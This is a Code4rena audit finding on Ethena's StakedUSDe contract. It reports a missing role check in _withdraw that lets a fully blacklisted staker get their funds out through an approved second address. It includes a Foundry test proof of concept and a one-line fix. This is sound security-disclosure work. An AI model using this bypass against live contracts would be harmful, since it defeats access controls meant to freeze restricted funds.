Ethena Labs - SpicyMeatball's results

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L225-L238

Vulnerability details

Impact

FULL_RESTRCITED_STAKER_ROLE is assigned to addresses to completely restrict them from moving their funds. The only exception is that the default admin can move funds from a blacklisted wallet to another.

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L148

As we can see, blocked users can't transfer their vault tokens to other addresses, and no one can send tokens to them.

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L245-L252

Withdraw is also prohibited,

https://github.com/code-423n4/2023-10-ethena/blob/main/contracts/StakedUSDe.sol#L232-L233

but there is a loophole, the above check lacks hasRole(FULL_RESTRICTED_STAKER_ROLE, owner), which means a blacklisted user can withdraw their funds with a help of the approved caller.

Proof of Concept

  function testBlacklistWithdraw() public {
    vm.prank(owner);
    stakedUSDe.grantRole(BLACKLIST_MANAGER_ROLE, alice);

    usdeToken.mint(bob, 100_000e18);

    vm.startPrank(bob);
    usdeToken.approve(address(stakedUSDe), 100_000e18);
    stakedUSDe.deposit(100_000e18, bob);
    vm.stopPrank();

    vm.prank(alice);
    stakedUSDe.addToBlacklist(bob, true);
    
    address wallet = makeAddr("totallyNotBob");
    vm.prank(bob);
    stakedUSDe.approve(wallet, ~uint256(0));
    vm.prank(wallet);
    stakedUSDe.withdraw(100_000e18, wallet, bob);
    assertEq(usdeToken.balanceOf(wallet), 100_000e18);
  }

Tools Used

Foundry, StakedUSDe.blacklist.t.sol

Recommended Mitigation Steps

Add || hasRole(FULL_RESTRICTED_STAKER_ROLE, owner) to the _withdraw

Assessed type

Access Control